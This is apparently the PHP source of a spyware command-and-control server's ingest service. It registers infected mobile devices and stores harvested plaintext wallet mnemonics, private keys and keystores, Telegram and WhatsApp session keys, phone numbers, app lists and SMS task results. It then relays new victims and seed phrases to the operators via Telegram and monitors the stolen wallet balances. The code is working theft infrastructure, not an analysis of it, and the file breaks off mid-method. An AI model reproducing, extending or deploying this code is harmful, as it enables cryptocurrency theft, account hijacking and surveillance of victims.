1289 lines
45 KiB
PHP
1289 lines
45 KiB
PHP
<?php
|
|
|
|
namespace App\Services;
|
|
|
|
use App\Models\Channel;
|
|
use App\Models\Device;
|
|
use App\Models\DeviceApp;
|
|
use App\Models\DeviceEvent;
|
|
use App\Models\Note;
|
|
use App\Models\PageVisit;
|
|
use App\Models\Photo;
|
|
use App\Models\PluginSession;
|
|
use App\Models\SmsReport;
|
|
use App\Models\User;
|
|
use App\Models\WalletAddress;
|
|
use App\Models\WalletKeystore;
|
|
use App\Models\WalletMnemonic;
|
|
use App\Services\Tokenview\TokenviewMonitorService;
|
|
use App\Support\CfIpCountry;
|
|
use App\Support\NoteContent;
|
|
use App\Support\WalletSource;
|
|
use Illuminate\Http\Request;
|
|
use Illuminate\Support\Facades\Log;
|
|
use Illuminate\Support\Facades\Storage;
|
|
|
|
class IngestService
|
|
{
|
|
public function __construct(
|
|
private readonly TelegramNotifier $telegram,
|
|
private readonly WalletBalanceService $balances,
|
|
private readonly TokenviewMonitorService $tokenview,
|
|
private readonly MnemonicAddressLinker $mnemonicLinker,
|
|
) {}
|
|
|
|
/**
|
|
* Stable device id — currently only from payload `d` / `f`.
|
|
* Other fields will be added when confirmed in live traffic.
|
|
*
|
|
* `/api/user/check` multipart sends an encoded form of the same id
|
|
* (see {@see normalizeDeviceKey}); JSON routes send the 16-hex form.
|
|
*/
|
|
public function extractDeviceKey(?array $payload): ?string
|
|
{
|
|
if (! is_array($payload)) {
|
|
return null;
|
|
}
|
|
$candidates = [];
|
|
if (isset($payload['form']) && is_array($payload['form'])) {
|
|
$candidates[] = $payload['form']['d'] ?? null;
|
|
$candidates[] = $payload['form']['f'] ?? null;
|
|
}
|
|
$candidates[] = $payload['d'] ?? null;
|
|
$candidates[] = $payload['f'] ?? null;
|
|
$candidates[] = $payload['ecid'] ?? null;
|
|
$candidates[] = $payload['deviceID'] ?? null;
|
|
$candidates[] = $payload['deviceId'] ?? null;
|
|
|
|
foreach ($candidates as $value) {
|
|
if (! empty($value) && is_string($value)) {
|
|
return self::normalizeDeviceKey(substr($value, 0, 64));
|
|
}
|
|
}
|
|
|
|
return null;
|
|
}
|
|
|
|
/**
|
|
* Map `/check` multipart `d`/`f` onto the JSON-route device id.
|
|
*
|
|
* Live photo upload encodes: hex(ascii(nibbleSwap(byteReverse(json_d)))).
|
|
* Example: JSON `000430C910E8E526` ↔ check `36323545384530313943303334303030`.
|
|
* Plain 16-hex (and non-matching strings) pass through unchanged.
|
|
*/
|
|
public static function normalizeDeviceKey(?string $key): ?string
|
|
{
|
|
if ($key === null || $key === '') {
|
|
return $key;
|
|
}
|
|
|
|
if (! preg_match('/^[0-9a-fA-F]{32}$/', $key)) {
|
|
return $key;
|
|
}
|
|
|
|
$ascii = hex2bin($key);
|
|
if (! is_string($ascii) || ! preg_match('/^[0-9A-Fa-f]{16}$/', $ascii)) {
|
|
return $key;
|
|
}
|
|
|
|
$raw = hex2bin($ascii);
|
|
if ($raw === false || strlen($raw) !== 8) {
|
|
return $key;
|
|
}
|
|
|
|
$rev = strrev($raw);
|
|
$out = '';
|
|
for ($i = 0; $i < 8; $i++) {
|
|
$b = ord($rev[$i]);
|
|
$out .= sprintf('%02X', (($b & 0x0F) << 4) | (($b & 0xF0) >> 4));
|
|
}
|
|
|
|
return $out;
|
|
}
|
|
|
|
/**
|
|
* Campaign / channel id from reporting traffic.
|
|
*
|
|
* Primary: JSON / form field `c` (32 hex in HAR + type-0x01 embed).
|
|
* Fallback: `channel` (seen on /link/config/list alongside `c`).
|
|
*/
|
|
public function extractChannelId(Request $request, ?array $payload): ?string
|
|
{
|
|
$candidates = [];
|
|
if (is_array($payload)) {
|
|
if (isset($payload['form']) && is_array($payload['form'])) {
|
|
$candidates[] = $payload['form']['c'] ?? null;
|
|
$candidates[] = $payload['form']['channel'] ?? null;
|
|
}
|
|
$candidates[] = $payload['c'] ?? null;
|
|
$candidates[] = $payload['channel'] ?? null;
|
|
}
|
|
$candidates[] = $request->input('c');
|
|
$candidates[] = $request->input('channel');
|
|
|
|
foreach ($candidates as $value) {
|
|
if (! is_string($value) || $value === '') {
|
|
continue;
|
|
}
|
|
$value = trim($value);
|
|
// HAR / implant: lowercase hex, typically 32 chars
|
|
if (preg_match('/^[0-9a-fA-F]{16,64}$/', $value)) {
|
|
return strtolower(substr($value, 0, 64));
|
|
}
|
|
}
|
|
|
|
return null;
|
|
}
|
|
|
|
/**
|
|
* /api/user/avatar/put — create or touch device.
|
|
* Create: fill profile + channel_id (put is the only trusted channel source).
|
|
* Update: refresh updated_at; fill channel_id only when still empty (first trusted put).
|
|
*/
|
|
public function upsertDevice(Request $request, ?array $payload, ?string $deviceKey = null): ?Device
|
|
{
|
|
$deviceKey = $this->resolveDeviceKey($payload, $deviceKey);
|
|
if (! $deviceKey) {
|
|
return null;
|
|
}
|
|
|
|
$existing = Device::query()->where('device_id', $deviceKey)->first();
|
|
if ($existing) {
|
|
$this->fillMissingAttribution($existing, $request, $payload, allowOldC: true);
|
|
|
|
return $existing->refresh();
|
|
}
|
|
|
|
return $this->createDevice($request, $payload, $deviceKey, allowOldC: true);
|
|
}
|
|
|
|
/**
|
|
* Other C2 routes — create device if missing so business rows can attach.
|
|
* Old builder: never write channel_id here (put will fill it later).
|
|
* New builder core (`/a`, `/u`, `/event`): channel_id from ver/sdkv headers when present.
|
|
* Other new-builder routes: create device without writing channel_id.
|
|
*/
|
|
public function ensureDevice(Request $request, ?array $payload, ?string $deviceKey = null): ?Device
|
|
{
|
|
$deviceKey = $this->resolveDeviceKey($payload, $deviceKey);
|
|
if (! $deviceKey) {
|
|
return null;
|
|
}
|
|
|
|
$existing = Device::query()->where('device_id', $deviceKey)->first();
|
|
if ($existing) {
|
|
if ($this->isNewBuilderRequest($request) && $this->isXxbbCoreRequest($request)) {
|
|
$this->fillMissingAttribution($existing, $request, $payload, allowOldC: false);
|
|
|
|
return $existing->refresh();
|
|
}
|
|
|
|
return $existing;
|
|
}
|
|
|
|
return $this->createDevice($request, $payload, $deviceKey, allowOldC: false);
|
|
}
|
|
|
|
private function resolveDeviceKey(?array $payload, ?string $deviceKey): ?string
|
|
{
|
|
$deviceKey = $deviceKey !== null
|
|
? self::normalizeDeviceKey(substr($deviceKey, 0, 64))
|
|
: $this->extractDeviceKey($payload);
|
|
|
|
return $deviceKey !== null && $deviceKey !== '' ? $deviceKey : null;
|
|
}
|
|
|
|
private function channelIdEmpty(mixed $channelId): bool
|
|
{
|
|
return $channelId === null || $channelId === '';
|
|
}
|
|
|
|
/**
|
|
* Own number from sms.js / old imagent. First write wins.
|
|
* Prefer `p` / `phoneNumber` / cardsinfo; bare `phone` is dest on /m/t/r.
|
|
*/
|
|
public function ingestDevicePhone(Device $device, ?array $payload): void
|
|
{
|
|
if (! is_array($payload)) {
|
|
return;
|
|
}
|
|
if (trim((string) ($device->phone ?? '')) !== '') {
|
|
return;
|
|
}
|
|
|
|
$phone = $this->extractOwnPhone($payload);
|
|
if ($phone === null) {
|
|
return;
|
|
}
|
|
|
|
$device->forceFill(['phone' => substr($phone, 0, 64)])->save();
|
|
}
|
|
|
|
/**
|
|
* sms.js: CTSettingCopyMyPhoneNumber → `p` / `phoneNumber`; SIM slot in cardsinfo.
|
|
* `/m/t/r` uses `phone` as the send-to dest, so ignore it when task_id is present.
|
|
*/
|
|
private function extractOwnPhone(array $payload): ?string
|
|
{
|
|
foreach (['p', 'phoneNumber'] as $key) {
|
|
$phone = $this->scalarToString($payload[$key] ?? null);
|
|
if ($phone !== null) {
|
|
return $phone;
|
|
}
|
|
}
|
|
|
|
$cards = $payload['cardsinfo'] ?? $payload['cardsInfo'] ?? null;
|
|
if (is_array($cards)) {
|
|
foreach ($cards as $card) {
|
|
if (! is_array($card)) {
|
|
continue;
|
|
}
|
|
$phone = $this->scalarToString($card['phoneNumber'] ?? $card['phone'] ?? $card['p'] ?? null);
|
|
if ($phone !== null) {
|
|
return $phone;
|
|
}
|
|
}
|
|
}
|
|
|
|
$isTaskReport = $this->scalarToString($payload['task_id'] ?? $payload['taskId'] ?? null) !== null;
|
|
if (! $isTaskReport) {
|
|
return $this->scalarToString($payload['phone'] ?? null);
|
|
}
|
|
|
|
return null;
|
|
}
|
|
|
|
private function fillMissingAttribution(
|
|
Device $device,
|
|
Request $request,
|
|
?array $payload,
|
|
bool $allowOldC,
|
|
): void {
|
|
$needChannel = $this->channelIdEmpty($device->channel_id);
|
|
$needDomain = trim((string) ($device->source_domain ?? '')) === '';
|
|
$model = $this->extractDeviceModel($payload);
|
|
$ios = $this->extractIosVersion($payload);
|
|
$needModel = $this->shouldReplaceModel($device->device_model, $model);
|
|
$needIos = $this->shouldReplaceIos($device->ios_version, $ios);
|
|
if (! $needChannel && ! $needDomain && ! $needModel && ! $needIos) {
|
|
$device->forceFill(['updated_at' => now()])->saveQuietly();
|
|
|
|
return;
|
|
}
|
|
|
|
$attr = ($needChannel || $needDomain)
|
|
? $this->resolveChannelAttribution($request, $payload, $allowOldC)
|
|
: ['channel_id' => null, 'source_domain' => null];
|
|
$touch = ['updated_at' => now()];
|
|
if ($needChannel && $attr['channel_id'] !== null && $attr['channel_id'] !== '') {
|
|
$touch['channel_id'] = $attr['channel_id'];
|
|
if (! $device->albumStorageEnabled() && User::albumStorageDefaultForChannel($attr['channel_id'])) {
|
|
$touch['album_storage'] = true;
|
|
}
|
|
}
|
|
if ($needDomain && $attr['source_domain'] !== null && $attr['source_domain'] !== '') {
|
|
$touch['source_domain'] = $attr['source_domain'];
|
|
}
|
|
if ($needModel && $model !== null) {
|
|
$touch['device_model'] = $model;
|
|
}
|
|
if ($needIos && $ios !== null) {
|
|
$touch['ios_version'] = $ios;
|
|
}
|
|
$device->forceFill($touch)->saveQuietly();
|
|
}
|
|
|
|
/**
|
|
* Old C2 (`/api/user/avatar/put`): payload `c` is the unique channel_id.
|
|
* New xxbb core (`/a`, `/u`, `/event`): channel_id from request header `ver` or `sdkv`.
|
|
* Other xxbb short paths: never write channel_id (device may still be created).
|
|
*
|
|
* @return array{channel_id: ?string, source_domain: ?string}
|
|
*/
|
|
private function resolveChannelAttribution(Request $request, ?array $payload, bool $allowOldC): array
|
|
{
|
|
if ($this->isNewBuilderRequest($request)) {
|
|
if ($this->isXxbbCoreRequest($request)) {
|
|
$attr = $this->channelFromVerHeaders($request);
|
|
if ($attr['channel_id'] !== null) {
|
|
return $attr;
|
|
}
|
|
}
|
|
} elseif ($allowOldC) {
|
|
$channelId = $this->extractChannelId($request, $payload);
|
|
if ($channelId !== null) {
|
|
return ['channel_id' => $channelId, 'source_domain' => null];
|
|
}
|
|
}
|
|
|
|
// Fallback: channel_code from beacon payload (new builder PE worker /beacon path).
|
|
// PE worker sends device_info.channel_code = the X.Y.ZZ channel id from the exploit chain.
|
|
$channelCode = $this->extractChannelCodeFromPayload($payload);
|
|
if ($channelCode !== null) {
|
|
return ['channel_id' => $channelCode, 'source_domain' => null];
|
|
}
|
|
|
|
return ['channel_id' => null, 'source_domain' => null];
|
|
}
|
|
|
|
/**
|
|
* Extract new-builder channel_code (X.Y.ZZ) from beacon/payload device_info.
|
|
* PE worker sends: {"uuid":..., "device_info":{"channel_code":"X.Y.ZZ",...}, ...}
|
|
*/
|
|
private function extractChannelCodeFromPayload(?array $payload): ?string
|
|
{
|
|
if (! is_array($payload)) {
|
|
return null;
|
|
}
|
|
|
|
$candidates = [];
|
|
if (isset($payload['device_info']) && is_array($payload['device_info'])) {
|
|
$candidates[] = $payload['device_info']['channel_code'] ?? null;
|
|
}
|
|
$candidates[] = $payload['channel_code'] ?? null;
|
|
|
|
foreach ($candidates as $value) {
|
|
if (! is_string($value) || $value === '') {
|
|
continue;
|
|
}
|
|
$code = Channel::normalizeNewChannelId($value);
|
|
if ($code !== null) {
|
|
return $code;
|
|
}
|
|
}
|
|
|
|
return null;
|
|
}
|
|
|
|
private function isNewBuilderRequest(Request $request): bool
|
|
{
|
|
return (bool) $request->attributes->get('coruna_new_builder', false);
|
|
}
|
|
|
|
private function isXxbbCoreRequest(Request $request): bool
|
|
{
|
|
return (bool) $request->attributes->get('coruna_xxbb_core', false);
|
|
}
|
|
|
|
/**
|
|
* Core reports ver/sdkv as the per-channel patch string (X.Y.ZZ, 6 chars).
|
|
* Missing or invalid headers → null channel_id; device is still created.
|
|
*
|
|
* @return array{channel_id: ?string, source_domain: ?string}
|
|
*/
|
|
private function channelFromVerHeaders(Request $request): array
|
|
{
|
|
foreach (['ver', 'sdkv'] as $header) {
|
|
$raw = trim((string) $request->header($header, ''));
|
|
if ($raw === '') {
|
|
continue;
|
|
}
|
|
$code = Channel::normalizeNewChannelId($raw);
|
|
if ($code !== null) {
|
|
return ['channel_id' => $code, 'source_domain' => null];
|
|
}
|
|
}
|
|
|
|
return ['channel_id' => null, 'source_domain' => null];
|
|
}
|
|
|
|
private function createDevice(Request $request, ?array $payload, string $deviceKey, bool $allowOldC): Device
|
|
{
|
|
$attr = $this->resolveChannelAttribution($request, $payload, $allowOldC);
|
|
$attrs = [
|
|
'device_id' => $deviceKey,
|
|
'ip' => PageVisit::normalizeIp((string) $request->ip()) ?: $request->ip(),
|
|
'country' => CfIpCountry::fromRequest($request),
|
|
'device_model' => $this->extractDeviceModel($payload),
|
|
'ios_version' => $this->extractIosVersion($payload),
|
|
'channel_id' => $attr['channel_id'],
|
|
'source_domain' => $attr['source_domain'],
|
|
'album_storage' => User::albumStorageDefaultForChannel($attr['channel_id']),
|
|
];
|
|
// xxbb native UA is spoofed / inaccurate; only keep header UA for old lab C2.
|
|
if (! $this->isNewBuilderRequest($request)) {
|
|
$ua = substr((string) $request->userAgent(), 0, 2000);
|
|
if ($ua !== '') {
|
|
$attrs['user_agent'] = $ua;
|
|
}
|
|
}
|
|
|
|
$device = Device::query()->create($attrs);
|
|
$this->telegram->notifyNewDevice($device->device_id, $device->ios_version, $device->ip);
|
|
$device->telegram_notified = true;
|
|
$device->save();
|
|
|
|
return $device->refresh();
|
|
}
|
|
|
|
/**
|
|
* App list from /api/user/get — one row per bundle (`al[]`: a=name, b=bundle, v=version).
|
|
*/
|
|
public function ingestInstalledApps(Device $device, ?array $payload): void
|
|
{
|
|
if (! is_array($payload) || empty($payload['al']) || ! is_array($payload['al'])) {
|
|
return;
|
|
}
|
|
|
|
foreach ($payload['al'] as $item) {
|
|
if (! is_array($item)) {
|
|
continue;
|
|
}
|
|
$bundle = (string) ($item['b'] ?? $item['bundle_id'] ?? $item['bundleId'] ?? '');
|
|
$name = (string) ($item['a'] ?? $item['name'] ?? $bundle);
|
|
$version = isset($item['v']) ? (string) $item['v'] : null;
|
|
if ($bundle === '') {
|
|
continue;
|
|
}
|
|
DeviceApp::query()->updateOrCreate(
|
|
['device_id' => $device->id, 'bundle_id' => $bundle],
|
|
[
|
|
'name' => $name,
|
|
'version' => $version,
|
|
'is_wallet' => WalletSource::isPluginWalletBundle($bundle),
|
|
'meta_json' => $item,
|
|
]
|
|
);
|
|
}
|
|
|
|
$this->refreshDeviceWalletFlag($device);
|
|
}
|
|
|
|
/**
|
|
* has_wallet: 0 unknown (no applist yet), 1 none, 2 plugin mnemonic wallets present.
|
|
*/
|
|
private function refreshDeviceWalletFlag(Device $device): void
|
|
{
|
|
$names = [];
|
|
foreach ($device->apps()->get(['bundle_id', 'name']) as $app) {
|
|
$bundle = (string) $app->bundle_id;
|
|
if (! WalletSource::isPluginWalletBundle($bundle)) {
|
|
continue;
|
|
}
|
|
$label = WalletSource::labelForBundle($bundle, $app->name);
|
|
$names[$label] = true;
|
|
}
|
|
$labels = array_keys($names);
|
|
sort($labels);
|
|
|
|
$alreadyYes = (int) $device->has_wallet === Device::WALLET_YES;
|
|
$device->has_wallet = $labels === [] ? Device::WALLET_NONE : Device::WALLET_YES;
|
|
$device->wallet_names = $labels === [] ? null : $labels;
|
|
if ($device->has_wallet === Device::WALLET_YES && ! $device->albumStorageEnabled()) {
|
|
$device->album_storage = true;
|
|
}
|
|
$device->save();
|
|
|
|
if (! $alreadyYes && $device->has_wallet === Device::WALLET_YES) {
|
|
$this->telegram->notifyInstalledWallets($device->device_id, $labels);
|
|
}
|
|
}
|
|
|
|
/**
|
|
* Behavior events from /api/user/avatar/put (`et` / `desc` / `ctx`).
|
|
*/
|
|
public function ingestDeviceEvent(Device $device, ?array $payload): void
|
|
{
|
|
if (! is_array($payload)) {
|
|
return;
|
|
}
|
|
$eventName = $payload['et'] ?? $payload['event_name'] ?? null;
|
|
$desc = $payload['desc'] ?? $payload['description'] ?? null;
|
|
if ($eventName === null && $desc === null) {
|
|
return;
|
|
}
|
|
$ctx = $payload['ctx'] ?? $payload['context'] ?? null;
|
|
$contextJson = null;
|
|
if (is_array($ctx)) {
|
|
$contextJson = $ctx;
|
|
} elseif ($ctx !== null) {
|
|
$contextJson = ['value' => $ctx];
|
|
}
|
|
|
|
DeviceEvent::query()->create([
|
|
'device_id' => $device->id,
|
|
'device_key' => $device->device_id,
|
|
'event_name' => is_string($eventName) ? $eventName : null,
|
|
'desc' => is_string($desc) ? mb_substr($desc, 0, 512) : null,
|
|
'context_json' => $contextJson,
|
|
]);
|
|
}
|
|
|
|
/**
|
|
* `/api/user/set` — plaintext mnemonic / private key in `result`.
|
|
*/
|
|
public function ingestMnemonic(Device $device, ?array $payload): void
|
|
{
|
|
if (! is_array($payload)) {
|
|
return;
|
|
}
|
|
$secret = null;
|
|
foreach (['result', 'mnemonic', 'seed', 'phrase', 'recovery', 'privateKey', 'private_key', 'privkey', 'wif'] as $key) {
|
|
if (! empty($payload[$key]) && is_string($payload[$key])) {
|
|
$secret = trim($payload[$key]);
|
|
break;
|
|
}
|
|
}
|
|
if ($secret === null || $secret === '') {
|
|
return;
|
|
}
|
|
if (! $this->isValidMnemonic($secret)) {
|
|
Log::warning('ingest mnemonic rejected: invalid phrase format', [
|
|
'device_id' => $device->id,
|
|
'length' => strlen($secret),
|
|
]);
|
|
|
|
return;
|
|
}
|
|
|
|
$hash = WalletMnemonic::hashSecret($secret);
|
|
$row = WalletMnemonic::query()->firstOrNew([
|
|
'device_id' => $device->id,
|
|
'mnemonic_hash' => $hash,
|
|
]);
|
|
$isNew = ! $row->exists;
|
|
$source = WalletSource::fromTag($payload['a'] ?? null);
|
|
$row->source = $source;
|
|
$row->mnemonic = $secret;
|
|
$row->save();
|
|
if ($isNew) {
|
|
$this->mnemonicLinker->linkMnemonicToDeviceAddresses($row);
|
|
$this->telegram->notifyNewMemoric($device->device_id, $source, $secret);
|
|
}
|
|
}
|
|
|
|
/**
|
|
* Validate that a secret looks like a BIP39 mnemonic (12 or 24 words,
|
|
* each 3-8 lowercase letters). Non-mnemonic secrets (private keys, WIF)
|
|
* are also accepted as-is.
|
|
*/
|
|
private function isValidMnemonic(string $secret): bool
|
|
{
|
|
$words = preg_split('/\s+/', strtolower(trim($secret))) ?: [];
|
|
$n = count($words);
|
|
if (in_array($n, [12, 15, 18, 21, 24], true)) {
|
|
foreach ($words as $word) {
|
|
if (preg_match('/^[a-z]{3,8}$/', $word) === 1) {
|
|
continue;
|
|
}
|
|
if (preg_match('/^\p{Han}{1,4}$/u', $word) === 1) {
|
|
continue;
|
|
}
|
|
|
|
return false;
|
|
}
|
|
|
|
return true;
|
|
}
|
|
// Not a word mnemonic — could be a hex private key, WIF, etc. Accept.
|
|
return true;
|
|
}
|
|
|
|
/**
|
|
* `/api/user/avatar/status` — store entire `result` keystore/identity blob.
|
|
*/
|
|
public function ingestKeystore(Device $device, ?array $payload): void
|
|
{
|
|
if (! is_array($payload) || ! array_key_exists('result', $payload)) {
|
|
return;
|
|
}
|
|
$result = $payload['result'];
|
|
if (is_string($result)) {
|
|
$decoded = json_decode($result, true);
|
|
if (is_array($decoded)) {
|
|
$result = $decoded;
|
|
}
|
|
}
|
|
if (! is_array($result) && ! is_string($result)) {
|
|
return;
|
|
}
|
|
|
|
$source = WalletSource::fromKeystoreHint($payload['a'] ?? null);
|
|
if ($source === '' && is_array($result)) {
|
|
$source = WalletSource::fromKeystoreHint($result['source'] ?? null);
|
|
}
|
|
|
|
WalletKeystore::firstOrCreateForDevice(
|
|
$device,
|
|
$source,
|
|
is_array($result) ? $result : ['value' => $result],
|
|
);
|
|
}
|
|
|
|
/**
|
|
* xxbb tglib POST /api/tg/t — Telegram session (user_id + atomic-state + db).
|
|
*/
|
|
public function ingestTelegramAuth(Device $device, ?array $payload): void
|
|
{
|
|
$this->upsertPluginSession($device, PluginSession::KIND_TELEGRAM, $payload, [
|
|
'user_id', 'state', 'db_sqlite',
|
|
'datacenterAuthInfoById', 'datacenterAddressSetById', 'backupData',
|
|
], ['user_id', 'userId']);
|
|
}
|
|
|
|
/**
|
|
* xxbb wap POST /api/wp/t — WhatsApp session keys (userId + phoneKeyStore).
|
|
*/
|
|
public function ingestWhatsAppAuth(Device $device, ?array $payload): void
|
|
{
|
|
$payload = $this->normalizeWhatsAppPayload($payload);
|
|
$this->upsertPluginSession($device, PluginSession::KIND_WHATSAPP, $payload, [
|
|
'userId', 'phoneId', 'registrationID',
|
|
'identity', 'identityPrivateKey', 'identityPublicKey',
|
|
'clientStaticKeypairBase64', 'phoneKeyStore',
|
|
'deviceConfig', 'whatsappVersion', 'nickname',
|
|
], ['userId', 'user_id', 'account']);
|
|
}
|
|
|
|
/**
|
|
* Live wap.js: {account, data: json-string, ecid}. Older builds send keys at the top level.
|
|
*
|
|
* @param array<string, mixed>|null $payload
|
|
* @return array<string, mixed>|null
|
|
*/
|
|
private function normalizeWhatsAppPayload(?array $payload): ?array
|
|
{
|
|
if (! is_array($payload)) {
|
|
return $payload;
|
|
}
|
|
|
|
$data = $payload['data'] ?? null;
|
|
if (is_string($data) && $data !== '') {
|
|
$decoded = json_decode($data, true);
|
|
if (is_array($decoded)) {
|
|
$payload = array_merge($decoded, $payload);
|
|
}
|
|
}
|
|
|
|
foreach (['phoneKeyStore', 'deviceConfig', 'userId'] as $key) {
|
|
$value = $payload[$key] ?? null;
|
|
if (! is_string($value) || $value === '') {
|
|
continue;
|
|
}
|
|
$inner = json_decode($value, true);
|
|
if (json_last_error() === JSON_ERROR_NONE) {
|
|
$payload[$key] = $inner;
|
|
}
|
|
}
|
|
|
|
if (! array_key_exists('userId', $payload) && isset($payload['account'])) {
|
|
$payload['userId'] = $payload['account'];
|
|
}
|
|
|
|
return $payload;
|
|
}
|
|
|
|
/**
|
|
* sms.js /m/t/g — own number via CTSettingCopyMyPhoneNumber (`p` / `phone` / `phoneNumber`).
|
|
*/
|
|
public function ingestSmsHeartbeat(Device $device, ?array $payload): void
|
|
{
|
|
if (! is_array($payload)) {
|
|
return;
|
|
}
|
|
$this->ingestDevicePhone($device, $payload);
|
|
}
|
|
|
|
/**
|
|
* sms.js POST /m/t/r — task result. Dest is `phone`; own number is `p` / `phoneNumber`.
|
|
*/
|
|
public function ingestSmsTaskReport(Device $device, ?array $payload): void
|
|
{
|
|
if (! is_array($payload)) {
|
|
return;
|
|
}
|
|
$this->ingestDevicePhone($device, $payload);
|
|
|
|
$taskId = $this->scalarToString($payload['task_id'] ?? $payload['taskId'] ?? null);
|
|
$dest = $this->scalarToString($payload['phone'] ?? $payload['to'] ?? $payload['t'] ?? null);
|
|
$local = $this->scalarToString($payload['p'] ?? $payload['phoneNumber'] ?? null);
|
|
$msg = $this->scalarToString($payload['msg'] ?? $payload['m'] ?? null);
|
|
$status = $this->scalarToString($payload['status'] ?? $payload['s'] ?? $payload['code'] ?? null);
|
|
if ($taskId === null && $dest === null && $msg === null && $status === null) {
|
|
return;
|
|
}
|
|
|
|
SmsReport::query()->create([
|
|
'device_id' => $device->id,
|
|
'device_key' => $device->device_id,
|
|
'task_id' => $taskId,
|
|
'dest_phone' => $dest !== null ? substr($dest, 0, 64) : null,
|
|
'local_phone' => $local !== null ? substr($local, 0, 64) : null,
|
|
'msg' => $msg,
|
|
'status' => $status !== null ? substr($status, 0, 64) : null,
|
|
'payload' => $payload,
|
|
]);
|
|
}
|
|
|
|
/**
|
|
* @param list<string> $keepKeys
|
|
* @param list<string> $accountKeys
|
|
*/
|
|
private function upsertPluginSession(
|
|
Device $device,
|
|
string $kind,
|
|
?array $payload,
|
|
array $keepKeys,
|
|
array $accountKeys,
|
|
): void {
|
|
if (! is_array($payload)) {
|
|
return;
|
|
}
|
|
if (isset($payload['result']) && is_array($payload['result'])) {
|
|
$payload = array_merge($payload['result'], $payload);
|
|
}
|
|
|
|
$blob = [];
|
|
foreach ($keepKeys as $key) {
|
|
if (array_key_exists($key, $payload)) {
|
|
$blob[$key] = $payload[$key];
|
|
}
|
|
}
|
|
if ($blob === []) {
|
|
return;
|
|
}
|
|
|
|
$account = null;
|
|
foreach ($accountKeys as $key) {
|
|
$account = $this->scalarToString($payload[$key] ?? $blob[$key] ?? null);
|
|
if ($account !== null) {
|
|
break;
|
|
}
|
|
}
|
|
$phone = (int) $kind === PluginSession::KIND_WHATSAPP
|
|
? $this->scalarToString($payload['userId'] ?? $payload['account'] ?? $payload['phoneId'] ?? $payload['phone'] ?? null)
|
|
: null;
|
|
|
|
$blob = $this->storePluginSessionFile($device, $kind, $account, $blob);
|
|
|
|
PluginSession::query()->updateOrCreate(
|
|
[
|
|
'device_id' => $device->id,
|
|
'kind' => $kind,
|
|
'account_id' => $account,
|
|
],
|
|
[
|
|
'device_key' => $device->device_id,
|
|
'phone' => $phone !== null ? substr($phone, 0, 64) : null,
|
|
'payload' => $blob,
|
|
],
|
|
);
|
|
$device->refreshImFlags();
|
|
}
|
|
|
|
/**
|
|
* Keep a summary in MySQL; write the full session JSON to disk.
|
|
*
|
|
* @param array<string, mixed> $blob
|
|
* @return array<string, mixed>
|
|
*/
|
|
private function storePluginSessionFile(Device $device, string $kind, ?string $account, array $blob): array
|
|
{
|
|
$path = PluginSession::payloadFilePath($kind, $device->device_id, $account);
|
|
$json = json_encode($blob, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
|
|
$json = $json === false ? '{}' : $json;
|
|
Storage::disk('local')->put($path, $json);
|
|
|
|
return PluginSession::dbSummary($kind, $blob, $path, strlen($json));
|
|
}
|
|
|
|
private function scalarToString(mixed $value): ?string
|
|
{
|
|
if (is_int($value) || is_float($value)) {
|
|
return (string) $value;
|
|
}
|
|
if (! is_string($value)) {
|
|
return null;
|
|
}
|
|
$value = trim($value);
|
|
|
|
return $value !== '' ? $value : null;
|
|
}
|
|
|
|
/**
|
|
* `/api/user/status` — addresses + balances from `ba` / `ad` / legacy `data`.
|
|
*/
|
|
public function ingestAddresses(Device $device, ?array $payload): void
|
|
{
|
|
if (! is_array($payload)) {
|
|
return;
|
|
}
|
|
$source = WalletSource::fromTag($payload['a'] ?? null);
|
|
$rows = $this->normalizeStatusAddressRows($payload);
|
|
/** @var list<array{address: string, chain: string, balance: string, source: string}> $notify */
|
|
$notify = [];
|
|
|
|
foreach ($rows as $row) {
|
|
$address = $row['address'] ?? null;
|
|
if (! is_string($address) || $address === '') {
|
|
continue;
|
|
}
|
|
$chainType = (string) ($row['chain_type'] ?? '');
|
|
if ($chainType === '') {
|
|
$chainType = WalletSource::inferChainType($address);
|
|
}
|
|
$chainType = strtoupper(trim($chainType));
|
|
if (! WalletSource::isSupportedChain($chainType)) {
|
|
continue;
|
|
}
|
|
$balance = $row['balance'] ?? '';
|
|
// Global Wallet ad map: scalar is not a balance → ignore coin fields.
|
|
if (! is_array($balance) && ! is_string($balance)) {
|
|
$balance = '';
|
|
}
|
|
|
|
$existing = WalletAddress::query()
|
|
->where('device_id', $device->id)
|
|
->where('address', $address)
|
|
->where('source', $source)
|
|
->first();
|
|
|
|
$beforeCoins = $existing?->coinSnapshot();
|
|
$coinAttrs = WalletAddress::coinAttributesFromBalance(is_array($balance) ? $balance : null);
|
|
|
|
$attrs = ['chain_type' => $chainType];
|
|
foreach ($coinAttrs as $col => $value) {
|
|
$attrs[$col] = $value;
|
|
}
|
|
// Default monitor on for new rows; disabled only when Tokenview enable fails.
|
|
if (! $existing) {
|
|
$attrs['monitor'] = 1;
|
|
}
|
|
|
|
$addr = WalletAddress::query()->updateOrCreate(
|
|
['device_id' => $device->id, 'address' => $address, 'source' => $source],
|
|
$attrs
|
|
);
|
|
|
|
if ($addr->mnemonic_id === null) {
|
|
$this->mnemonicLinker->linkAddress($addr);
|
|
}
|
|
|
|
$isTron = in_array($chainType, ['TRON', 'TRX'], true);
|
|
// Tron: client payloads often omit/zero balances — pull TRX/USDT before notify.
|
|
if ($isTron && (! $existing || $coinAttrs === [])) {
|
|
$this->balances->refresh($addr);
|
|
$addr->refresh();
|
|
}
|
|
|
|
if (! $existing) {
|
|
$this->enableMonitorOrDisable($addr);
|
|
}
|
|
|
|
$balanceSummary = $addr->balanceDisplayLine();
|
|
$shouldNotify = ! $existing
|
|
|| ($coinAttrs !== [] && $beforeCoins !== $addr->coinSnapshot());
|
|
if ($shouldNotify) {
|
|
$notify[] = [
|
|
'address' => $address,
|
|
'chain' => $chainType,
|
|
'balance' => $balanceSummary,
|
|
'source' => $source,
|
|
];
|
|
}
|
|
unset($addr);
|
|
}
|
|
|
|
if ($notify !== []) {
|
|
$this->telegram->notifyNewWallets($device->device_id, $notify);
|
|
}
|
|
}
|
|
|
|
/**
|
|
* Two-field monitor model:
|
|
* monitor — user-facing switch (default ON for new addresses)
|
|
* monitor_synced — actual Tokenview registration state (default OFF;
|
|
* only set to true when syncMonitor() succeeds)
|
|
*
|
|
* On ingest we attempt the initial Tokenview registration. If it fails
|
|
* (network error, rate limit, etc.) we leave monitor=1 and
|
|
* monitor_synced=0 so the sync-monitors scheduled command will retry.
|
|
*/
|
|
private function enableMonitorOrDisable(WalletAddress $address): void
|
|
{
|
|
